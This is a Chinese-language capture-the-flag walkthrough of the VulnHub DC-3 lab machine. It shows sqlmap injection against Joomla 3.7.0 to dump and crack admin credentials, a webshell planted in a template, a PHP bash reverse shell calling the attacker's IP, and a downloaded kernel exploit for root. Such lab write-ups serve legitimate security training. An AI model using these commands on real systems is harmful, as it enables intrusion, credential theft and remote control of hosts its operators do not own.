vulnhub DC-3靶机实战
字数 994 2025-08-12 11:34:30

DC-3 靶机渗透测试实战教程

0x01 环境部署

  1. 下载靶机
    • 下载地址:https://www.vulnhub.com/entry/dc-32,312/
    • 安装后设置网络为NAT模式

0x02 信息收集

1. 主机发现

arp-scan -l

2. 端口扫描

nmap -sS 192.168.190.130
  • 发现开放80端口

3. 目录扫描

python3 dirsearch.py -u http://192.168.190.130/

4. 网站识别

  • 识别出使用Joomla CMS
  • 可进一步搜索Joomla相关漏洞

0x03 Getshell

1. 漏洞发现

sudo apt-get install joomscan
joomscan --url http://192.168.190.130
  • 扫描结果显示Joomla版本为3.7.0

2. 漏洞利用

searchsploit Joomla 3.7.0
  • 发现SQL注入漏洞

查看漏洞详情:

cat /usr/share/exploitdb/exploits/php/webapps/42033.txt

使用sqlmap进行注入:

爆破所有数据库:

sqlmap -u "http://192.168.190.130/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent --dbs -p list[fullordering]

爆破joomladb数据库表名:

sqlmap -u "http://192.168.190.130/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent -D joomladb --tables -p list[fullordering]

爆破#__users表的列:

sqlmap -u "http://192.168.190.130/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent -D joomladb -T "#__users" --columns -p list[fullordering]

爆破用户凭证:

sqlmap -u "http://192.168.190.130/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent -D "joomladb" -T "#__users" -C "id,username,password" --dump -p list[fullordering]
  • 获取到hash:admin:$2y$10$DpfpYjADpejngxNh9GnmCeyIHCWpL97CVRnGeZsVJwR0kWFlfB1Zu

3. 密码破解

创建密码文件:

vim mm.txt
cat mm.txt
john mm.txt
  • 成功破解:admin/snoopy

4. 获取shell

  1. 登录Joomla后台
  2. 修改模板文件添加一句话木马
  3. 访问测试:http://192.168.190.130/templates/beez3/index.php
  4. 使用蚁剑连接

5. 反弹shell

Kali开启监听:

nc -lvnp 5678

创建error.php文件:

<?php system("bash -c 'bash -i >& /dev/tcp/192.168.190.128/5678 0>&1' "); ?>
  • 访问error.php获取反弹shell

0x04 提权

1. 信息收集

whoami
uname -a
cat /etc/issue
  • 识别系统为Ubuntu 16.04

2. 查找漏洞

searchsploit ubuntu 16.04
  • 选定39772.txt漏洞

复制漏洞到本地:

cp /usr/share/exploitdb/exploits/linux/local/39772.txt /home/kali/Desktop/
cd /home/kali/Desktop/
cat 39772.txt
  • 文件末尾包含exp下载链接

3. 漏洞利用

下载exp:

wget https://github.com/offensive-security/exploitdb-bin-sploits/raw/master/bin-sploits/39772.zip
unzip 39772.zip
cd 39772
tar -xvf exploit.tar
cd ebpf_mapfd_doubleput_exploit

执行提权:

./compile.sh
./doubleput
whoami  # 确认root权限

4. 获取flag

cd /root
cat the-flag.txt

0x05 总结

  1. 信息收集:IP、端口、目录、CMS版本等
  2. 漏洞利用:针对已知CMS版本搜索漏洞
  3. 凭证获取:通过SQL注入获取并破解管理员凭证
  4. 获取shell:通过修改模板文件获取webshell
  5. 权限提升:根据系统内核版本利用本地提权漏洞
  6. 最终目标:获取root权限读取flag

关键点备忘

  1. Joomla 3.7.0存在SQL注入漏洞(CVE-2017-8917)
  2. 使用sqlmap进行自动化注入时需要指定高风险参数
  3. Joomla密码hash需要特定方式破解
  4. Ubuntu 16.04存在ebpf_mapfd_doubleput本地提权漏洞(CVE-2017-16995)
  5. 提权exp需要编译后执行
DC-3 靶机渗透测试实战教程 0x01 环境部署 下载靶机 : 下载地址:https://www.vulnhub.com/entry/dc-32,312/ 安装后设置网络为NAT模式 0x02 信息收集 1. 主机发现 2. 端口扫描 发现开放80端口 3. 目录扫描 4. 网站识别 识别出使用Joomla CMS 可进一步搜索Joomla相关漏洞 0x03 Getshell 1. 漏洞发现 扫描结果显示Joomla版本为3.7.0 2. 漏洞利用 发现SQL注入漏洞 查看漏洞详情: 使用sqlmap进行注入: 爆破所有数据库: 爆破joomladb数据库表名: 爆破#__ users表的列: 爆破用户凭证: 获取到hash: admin:$2y$10$DpfpYjADpejngxNh9GnmCeyIHCWpL97CVRnGeZsVJwR0kWFlfB1Zu 3. 密码破解 创建密码文件: 成功破解: admin/snoopy 4. 获取shell 登录Joomla后台 修改模板文件添加一句话木马 访问测试: http://192.168.190.130/templates/beez3/index.php 使用蚁剑连接 5. 反弹shell Kali开启监听: 创建error.php文件: 访问error.php获取反弹shell 0x04 提权 1. 信息收集 识别系统为Ubuntu 16.04 2. 查找漏洞 选定39772.txt漏洞 复制漏洞到本地: 文件末尾包含exp下载链接 3. 漏洞利用 下载exp: 执行提权: 4. 获取flag 0x05 总结 信息收集 :IP、端口、目录、CMS版本等 漏洞利用 :针对已知CMS版本搜索漏洞 凭证获取 :通过SQL注入获取并破解管理员凭证 获取shell :通过修改模板文件获取webshell 权限提升 :根据系统内核版本利用本地提权漏洞 最终目标 :获取root权限读取flag 关键点备忘 Joomla 3.7.0存在SQL注入漏洞(CVE-2017-8917) 使用sqlmap进行自动化注入时需要指定高风险参数 Joomla密码hash需要特定方式破解 Ubuntu 16.04存在ebpf_ mapfd_ doubleput本地提权漏洞(CVE-2017-16995) 提权exp需要编译后执行